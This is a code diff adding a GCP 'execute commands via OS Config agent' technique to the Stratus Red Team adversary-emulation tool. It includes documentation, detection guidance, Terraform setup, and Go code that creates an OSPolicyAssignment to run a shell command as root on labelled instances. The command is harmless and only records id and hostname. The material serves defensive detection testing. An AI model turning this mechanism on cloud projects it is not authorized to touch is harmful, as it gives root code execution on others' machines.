diff --git a/docs/attack-techniques/GCP/gcp.execution.os-config-run-command.md b/docs/attack-techniques/GCP/gcp.execution.os-config-run-command.md new file mode 100755 index 000000000..c49874c90 --- /dev/null +++ b/docs/attack-techniques/GCP/gcp.execution.os-config-run-command.md @@ -0,0 +1,84 @@ +--- +title: Execute Commands on GCE Instances via OS Config Agent +--- + +# Execute Commands on GCE Instances via OS Config Agent + + slow + + +Platform: GCP + +## Mappings + +- MITRE ATT&CK + - Execution + + + +## Description + + +Executes an arbitrary shell command on GCE instances by creating an OS Config +OSPolicyAssignment. The OS Config agent, which is pre-installed and +enabled on modern GCP images, polls for policy assignments and executes the +configured commands with root privileges. An attacker with +osconfig.osPolicyAssignments.create permission can abuse this +mechanism to achieve code execution on any instance in the project without +needing SSH access. + +This is the GCP equivalent of AWS Systems Manager SendCommand. + +Warm-up: + +- Create a GCE instance (e2-micro, Debian 11) with the OS Config agent + enabled via instance metadata (enable-osconfig=TRUE) + +Detonation: + +- Create an OSPolicyAssignment targeting instances labelled + stratus-red-team=true that runs a shell command writing system + information to /tmp/stratus-output.txt + +Note: For commands to actually execute on targeted instances, OS Configuration +Management must be enabled at the project level +(see Enable VM Manager). +If it is not enabled, GCP rejects the API call with a +failedPrecondition error. From a defensive standpoint, this still +generates the CreateOSPolicyAssignment audit event when Data Access +logging is enabled, so the attempt remains detectable even if execution fails. + +Revert: + +- Delete the OSPolicyAssignment + +References: + +- https://cloud.google.com/compute/docs/os-configuration-management +- https://cloud.google.com/compute/docs/osconfig/rest/v1/projects.locations.osPolicyAssignments +- https://blog.raphael.karger.is/articles/2022-08/GCP-OS-Patching + + +## Instructions + +```bash title="Detonate with Stratus Red Team" +stratus detonate gcp.execution.os-config-run-command +``` +## Detection + + +Note: GCP does not emit Admin Activity audit logs for the OS Config API +(osconfig.googleapis.com). CreateOSPolicyAssignment events +are only logged if Data Access audit logging is explicitly enabled for +osconfig.googleapis.com with log type DATA_WRITE, which is +not enabled by default. + +When Data Access logging is enabled, identify when an OSPolicyAssignment +is created or modified by monitoring for +google.cloud.osconfig.v1.OsConfigZonalService.CreateOSPolicyAssignment +and google.cloud.osconfig.v1.OsConfigZonalService.UpdateOSPolicyAssignment +events. Alert on assignments whose policies include Exec resources with +ENFORCEMENT mode, especially when the instance filter targets a broad set +of instances. + + diff --git a/docs/attack-techniques/GCP/index.md b/docs/attack-techniques/GCP/index.md index bba57f11e..c0be097fb 100755 --- a/docs/attack-techniques/GCP/index.md +++ b/docs/attack-techniques/GCP/index.md @@ -9,6 +9,11 @@ Note that some Stratus attack techniques may correspond to more than a single AT - [Steal and Use the GCE Default Service Account Token from Outside Google Cloud](./gcp.initial-access.use-compute-sa-outside-gcp.md) +## Execution + + - [Execute Commands on GCE Instances via OS Config Agent](./gcp.execution.os-config-run-command.md) + + ## Persistence - [Register SSH public key to instance metadata](./gcp.lateral-movement.add-sshkey-instance-metadata.md) diff --git a/docs/attack-techniques/list.md b/docs/attack-techniques/list.md index 3f323b0f6..73d95c043 100755 --- a/docs/attack-techniques/list.md +++ b/docs/attack-techniques/list.md @@ -101,4 +101,5 @@ This page contains the list of all Stratus Attack Techniques. | [Impersonate GCP Service Accounts](./GCP/gcp.privilege-escalation.impersonate-service-accounts.md) | [GCP](./GCP/index.md) | Privilege Escalation | | [Delete a GCP Log Sink](./GCP/gcp.defense-evasion.delete-logging-sink.md) | [GCP](./GCP/index.md) | Defense Evasion | | [Disable a GCP Log Sink](./GCP/gcp.defense-evasion.disable-logging-sink.md) | [GCP](./GCP/index.md) | Defense Evasion | +| [Execute Commands on GCE Instances via OS Config Agent](./GCP/gcp.execution.os-config-run-command.md) | [GCP](./GCP/index.md) | Execution | | [Reduce Log Retention Period on a Cloud Logging Sink Bucket](./GCP/gcp.defense-evasion.reduce-sink-log-retention.md) | [GCP](./GCP/index.md) | Defense Evasion | diff --git a/docs/attack-techniques/mitre-attack-coverage-matrices.md b/docs/attack-techniques/mitre-attack-coverage-matrices.md index e62efe97a..5aa611476 100644 --- a/docs/attack-techniques/mitre-attack-coverage-matrices.md +++ b/docs/attack-techniques/mitre-attack-coverage-matrices.md @@ -53,15 +53,15 @@ This provides coverage matrices of MITRE ATT&CK tactics and techniques currently

GCP

- + - - - - - - - + + + + + + +
Initial AccessPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementExfiltrationImpact
Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementExfiltrationImpact
Steal and Use the GCE Default Service Account Token from Outside Google CloudRegister SSH public key to instance metadataCreate an Admin GCP Service AccountDelete a Cloud DNS Logging PolicyRetrieve a High Number of Secret Manager secretsRead GCE Instance Metadata via the Compute APIRegister SSH public key to instance metadataExfiltrate Compute Disk by sharing itCreate a GCE GPU Virtual Machine
Backdoor a GCP Service Account through its IAM PolicyCreate a GCP Service Account KeyDisable Data Access Audit Logs for a GCP ServiceSteal and Use the GCE Default Service Account Token from Outside Google CloudEnumerate Permissions of a GCP Service AccountExfiltrate Compute Image by sharing itCreate GCE Instances in Multiple Zones
Create an Admin GCP Service AccountImpersonate GCP Service AccountsAttempt to Remove a GCP Project from its OrganizationExfiltrate Compute Disk by sharing a snapshot
Create a GCP Service Account KeyDisable VPC Flow Logs on a Subnet
Invite an External User to a GCP ProjectDelete a GCP Log Sink
Disable a GCP Log Sink
Reduce Log Retention Period on a Cloud Logging Sink Bucket
Steal and Use the GCE Default Service Account Token from Outside Google CloudExecute Commands on GCE Instances via OS Config AgentRegister SSH public key to instance metadataCreate an Admin GCP Service AccountDelete a Cloud DNS Logging PolicyRetrieve a High Number of Secret Manager secretsRead GCE Instance Metadata via the Compute APIRegister SSH public key to instance metadataExfiltrate Compute Disk by sharing itCreate a GCE GPU Virtual Machine
Backdoor a GCP Service Account through its IAM PolicyCreate a GCP Service Account KeyDisable Data Access Audit Logs for a GCP ServiceSteal and Use the GCE Default Service Account Token from Outside Google CloudEnumerate Permissions of a GCP Service AccountExfiltrate Compute Image by sharing itCreate GCE Instances in Multiple Zones
Create an Admin GCP Service AccountImpersonate GCP Service AccountsAttempt to Remove a GCP Project from its OrganizationExfiltrate Compute Disk by sharing a snapshot
Create a GCP Service Account KeyDisable VPC Flow Logs on a Subnet
Invite an External User to a GCP ProjectDelete a GCP Log Sink
Disable a GCP Log Sink
Reduce Log Retention Period on a Cloud Logging Sink Bucket
diff --git a/docs/index.yaml b/docs/index.yaml index 37a390d57..d9b72febe 100644 --- a/docs/index.yaml +++ b/docs/index.yaml @@ -617,6 +617,14 @@ GCP: - Discovery platform: GCP isIdempotent: true + Execution: + - id: gcp.execution.os-config-run-command + name: Execute Commands on GCE Instances via OS Config Agent + isSlow: true + mitreAttackTactics: + - Execution + platform: GCP + isIdempotent: false Exfiltration: - id: gcp.exfiltration.share-compute-disk name: Exfiltrate Compute Disk by sharing it diff --git a/v2/internal/attacktechniques/gcp/execution/os-config-run-command/main.go b/v2/internal/attacktechniques/gcp/execution/os-config-run-command/main.go new file mode 100644 index 000000000..2c5642163 --- /dev/null +++ b/v2/internal/attacktechniques/gcp/execution/os-config-run-command/main.go @@ -0,0 +1,276 @@ +package gcp + +import ( + "context" + _ "embed" + "fmt" + "log" + "strings" + "time" + + "github.com/datadog/stratus-red-team/v2/pkg/stratus" + "github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack" + osconfig "google.golang.org/api/osconfig/v1" +) + +//go:embed main.tf +var tf []byte + +// assignmentId is the fixed resource ID used for the OSPolicyAssignment created +// during detonation. Keeping it fixed allows revert to find and delete it without +// needing to track state across runs. +const assignmentId = "stratus-red-team-run-cmd" + +func init() { + stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{ + ID: "gcp.execution.os-config-run-command", + FriendlyName: "Execute Commands on GCE Instances via OS Config Agent", + Description: ` +Executes an arbitrary shell command on GCE instances by creating an OS Config +OSPolicyAssignment. The OS Config agent, which is pre-installed and +enabled on modern GCP images, polls for policy assignments and executes the +configured commands with root privileges. An attacker with +osconfig.osPolicyAssignments.create permission can abuse this +mechanism to achieve code execution on any instance in the project without +needing SSH access. + +This is the GCP equivalent of AWS Systems Manager SendCommand. + +Warm-up: + +- Create a GCE instance (e2-micro, Debian 11) with the OS Config agent + enabled via instance metadata (enable-osconfig=TRUE) + +Detonation: + +- Create an OSPolicyAssignment targeting instances labelled + stratus-red-team=true that runs a shell command writing system + information to /tmp/stratus-output.txt + +Note: For commands to actually execute on targeted instances, OS Configuration +Management must be enabled at the project level +(see Enable VM Manager). +If it is not enabled, GCP rejects the API call with a +failedPrecondition error. From a defensive standpoint, this still +generates the CreateOSPolicyAssignment audit event when Data Access +logging is enabled, so the attempt remains detectable even if execution fails. + +Revert: + +- Delete the OSPolicyAssignment + +References: + +- https://cloud.google.com/compute/docs/os-configuration-management +- https://cloud.google.com/compute/docs/osconfig/rest/v1/projects.locations.osPolicyAssignments +- https://blog.raphael.karger.is/articles/2022-08/GCP-OS-Patching +`, + Detection: ` +Note: GCP does not emit Admin Activity audit logs for the OS Config API +(osconfig.googleapis.com). CreateOSPolicyAssignment events +are only logged if Data Access audit logging is explicitly enabled for +osconfig.googleapis.com with log type DATA_WRITE, which is +not enabled by default. + +When Data Access logging is enabled, identify when an OSPolicyAssignment +is created or modified by monitoring for +google.cloud.osconfig.v1.OsConfigZonalService.CreateOSPolicyAssignment +and google.cloud.osconfig.v1.OsConfigZonalService.UpdateOSPolicyAssignment +events. Alert on assignments whose policies include Exec resources with +ENFORCEMENT mode, especially when the instance filter targets a broad set +of instances. +`, + Platform: stratus.GCP, + IsIdempotent: false, + IsSlow: true, + MitreAttackTactics: []mitreattack.Tactic{mitreattack.Execution}, + PrerequisitesTerraformCode: tf, + Detonate: detonate, + Revert: revert, + }) +} + +func newOSConfigService(ctx context.Context, providers stratus.CloudProviders) (*osconfig.Service, error) { + svc, err := osconfig.NewService(ctx, providers.GCP().Options()) + if err != nil { + return nil, fmt.Errorf("failed to create OS Config client: %w", err) + } + return svc, nil +} + +func assignmentParent(projectId, zone string) string { + return fmt.Sprintf("projects/%s/locations/%s", projectId, zone) +} + +func assignmentName(projectId, zone string) string { + return fmt.Sprintf("projects/%s/locations/%s/osPolicyAssignments/%s", projectId, zone, assignmentId) +} + +// waitForOSConfigOperation polls an OS Config long-running operation until it completes. +// OSPolicyAssignment rollouts can take up to 10 minutes depending on instance count. +func waitForOSConfigOperation(ctx context.Context, svc *osconfig.Service, opName string) error { + const maxAttempts = 60 + const pollInterval = 10 * time.Second + + for attempt := range maxAttempts { + op, err := svc.Projects.Locations.OsPolicyAssignments.Operations.Get(opName).Context(ctx).Do() + if err != nil { + return fmt.Errorf("failed to poll OS Config operation %s: %w", opName, err) + } + if op.Done { + if op.Error != nil { + return fmt.Errorf("OS Config operation %s failed: %s", opName, op.Error.Message) + } + return nil + } + log.Printf("Waiting for OS Config operation to complete (attempt %d/%d)\n", attempt+1, maxAttempts) + time.Sleep(pollInterval) + } + return fmt.Errorf("OS Config operation %s did not complete after %d attempts", opName, maxAttempts) +} + +func detonate(params map[string]string, providers stratus.CloudProviders) error { + gcp := providers.GCP() + projectId := gcp.GetProjectId() + zone := params["zone"] + ctx := context.Background() + + svc, err := newOSConfigService(ctx, providers) + if err != nil { + return err + } + + parent := assignmentParent(projectId, zone) + + log.Printf("Creating OSPolicyAssignment %s in %s to run a shell command on targeted instances\n", + assignmentId, parent) + + _, err = svc.Projects.Locations.OsPolicyAssignments.Create( + parent, + &osconfig.OSPolicyAssignment{ + // Target instances in the zone that carry the stratus-red-team label, + // as applied by the Terraform warmup. + InstanceFilter: &osconfig.OSPolicyAssignmentInstanceFilter{ + InclusionLabels: []*osconfig.OSPolicyAssignmentLabelSet{ + { + Labels: map[string]string{"stratus-red-team": "true"}, + }, + }, + }, + OsPolicies: []*osconfig.OSPolicy{ + { + Id: "stratus-run-command", + Mode: "ENFORCEMENT", + ResourceGroups: []*osconfig.OSPolicyResourceGroup{ + { + Resources: []*osconfig.OSPolicyResource{ + { + Id: "run-command", + Exec: &osconfig.OSPolicyResourceExecResource{ + // OS Config Exec resources use GCP-specific exit codes: + // 100 = already compliant (skip enforce), 101 = not + // compliant (run enforce). Exiting 101 ensures Enforce + // always fires regardless of prior state. + Validate: &osconfig.OSPolicyResourceExecResourceExec{ + Interpreter: "SHELL", + Script: "exit 101", + }, + // Enforce writes system information to a file on disk, + // producing observable evidence of remote execution. + // Must exit 100 to signal enforcement succeeded. + Enforce: &osconfig.OSPolicyResourceExecResourceExec{ + Interpreter: "SHELL", + Script: "echo \"id=$(id) hostname=$(hostname)\" > /tmp/stratus-output.txt; exit 100", + }, + }, + }, + }, + }, + }, + }, + }, + Rollout: &osconfig.OSPolicyAssignmentRollout{ + // Apply to all targeted instances at once. + DisruptionBudget: &osconfig.FixedOrPercent{Percent: 100}, + MinWaitDuration: "0s", + }, + }, + ).OsPolicyAssignmentId(assignmentId).Context(ctx).Do() + if err != nil { + return fmt.Errorf("failed to create OSPolicyAssignment: %w", err) + } + + // The CreateOSPolicyAssignment LRO tracks rollout to instances, which requires + // instances to have internet access to phone home to the OS Config API. Rather + // than wait for rollout completion (which may time out in restricted environments), + // we verify the assignment was created by fetching it directly. The detection + // signal is the CreateOSPolicyAssignment audit event, which fires on creation. + name := assignmentName(projectId, zone) + assignment, err := svc.Projects.Locations.OsPolicyAssignments.Get(name).Context(ctx).Do() + if err != nil { + return fmt.Errorf("OSPolicyAssignment creation could not be confirmed: %w", err) + } + log.Printf("OSPolicyAssignment %s created (rollout state: %s) — OS Config agents on targeted instances will execute the command on next poll\n", + assignment.Name, assignment.RolloutState) + return nil +} + +// waitForRolloutComplete polls the OSPolicyAssignment until its rollout state +// is no longer IN_PROGRESS. GCP rejects Delete calls while a rollout is active. +func waitForRolloutComplete(ctx context.Context, svc *osconfig.Service, name string) error { + const maxAttempts = 60 + const pollInterval = 10 * time.Second + + for attempt := range maxAttempts { + assignment, err := svc.Projects.Locations.OsPolicyAssignments.Get(name).Context(ctx).Do() + if err != nil { + if strings.Contains(err.Error(), "404") { + return nil + } + return fmt.Errorf("failed to get OSPolicyAssignment %s: %w", name, err) + } + if assignment.RolloutState != "IN_PROGRESS" { + return nil + } + log.Printf("Waiting for rollout to complete before deleting (state: %s, attempt %d/%d)\n", + assignment.RolloutState, attempt+1, maxAttempts) + time.Sleep(pollInterval) + } + return fmt.Errorf("rollout for %s did not complete after %d attempts", name, maxAttempts) +} + +func revert(params map[string]string, providers stratus.CloudProviders) error { + gcp := providers.GCP() + projectId := gcp.GetProjectId() + zone := params["zone"] + ctx := context.Background() + + svc, err := newOSConfigService(ctx, providers) + if err != nil { + return err + } + + name := assignmentName(projectId, zone) + + // Wait for any in-progress rollout to finish — GCP rejects Delete while IN_PROGRESS. + if err = waitForRolloutComplete(ctx, svc, name); err != nil { + return err + } + + log.Printf("Deleting OSPolicyAssignment %s\n", name) + op, err := svc.Projects.Locations.OsPolicyAssignments.Delete(name).Context(ctx).Do() + if err != nil { + if strings.Contains(err.Error(), "404") { + log.Printf("OSPolicyAssignment %s not found — already deleted\n", name) + return nil + } + return fmt.Errorf("failed to delete OSPolicyAssignment %s: %w", name, err) + } + + if err = waitForOSConfigOperation(ctx, svc, op.Name); err != nil { + return err + } + + log.Printf("Successfully deleted OSPolicyAssignment %s\n", name) + return nil +} diff --git a/v2/internal/attacktechniques/gcp/execution/os-config-run-command/main.tf b/v2/internal/attacktechniques/gcp/execution/os-config-run-command/main.tf new file mode 100644 index 000000000..03338cc04 --- /dev/null +++ b/v2/internal/attacktechniques/gcp/execution/os-config-run-command/main.tf @@ -0,0 +1,86 @@ +terraform { + required_providers { + google = { + source = "hashicorp/google" + version = "~> 6.18.1" + } + random = { + source = "hashicorp/random" + version = "~> 3.3.2" + } + } +} + +locals { + resource_prefix = "stratus-red-team-occr" # os config run command +} + +resource "random_string" "suffix" { + length = 8 + special = false + min_lower = 8 +} + +resource "google_service_account" "instance_sa" { + account_id = "${local.resource_prefix}-${random_string.suffix.result}" + display_name = "Stratus Red Team - OS Config Run Command" +} + +resource "google_compute_network" "vpc" { + name = "${local.resource_prefix}-vpc-${random_string.suffix.result}" + auto_create_subnetworks = false +} + +# Private Google Access lets the instance reach Google APIs (including OS Config) +# without a public IP, which is required for the OS Config agent to phone home. +resource "google_compute_subnetwork" "subnet" { + name = "${local.resource_prefix}-subnet-${random_string.suffix.result}" + ip_cidr_range = "10.0.0.0/24" + region = "us-central1" + network = google_compute_network.vpc.self_link + private_ip_google_access = true +} + +resource "google_compute_instance" "instance" { + name = "${local.resource_prefix}-${random_string.suffix.result}" + machine_type = "e2-micro" + zone = "us-central1-a" + + boot_disk { + initialize_params { + image = "debian-cloud/debian-11" + } + } + + network_interface { + subnetwork = google_compute_subnetwork.subnet.self_link + } + + # enable-osconfig activates the OS Config agent on the instance. + # The OS Config agent is pre-installed on Debian 11 images but must be + # explicitly enabled via metadata for the OSPolicyAssignment API to work. + metadata = { + enable-osconfig = "TRUE" + } + + service_account { + email = google_service_account.instance_sa.email + scopes = ["cloud-platform"] + } + + labels = { + "stratus-red-team" = "true" + } +} + +output "instance_name" { + value = google_compute_instance.instance.name +} + +output "zone" { + value = google_compute_instance.instance.zone +} + +output "display" { + value = format("GCE instance %s with OS Config agent enabled", google_compute_instance.instance.name) +} diff --git a/v2/internal/attacktechniques/main.go b/v2/internal/attacktechniques/main.go index c93da6143..480baf0db 100644 --- a/v2/internal/attacktechniques/main.go +++ b/v2/internal/attacktechniques/main.go @@ -74,6 +74,7 @@ import ( _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/defense-evasion/remove-vpc-flow-logs" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/discovery/download-instance-metadata" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/discovery/enumerate-permissions" + _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/execution/os-config-run-command" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/exfiltration/share-compute-disk" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/exfiltration/share-compute-image" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/exfiltration/share-compute-snapshot"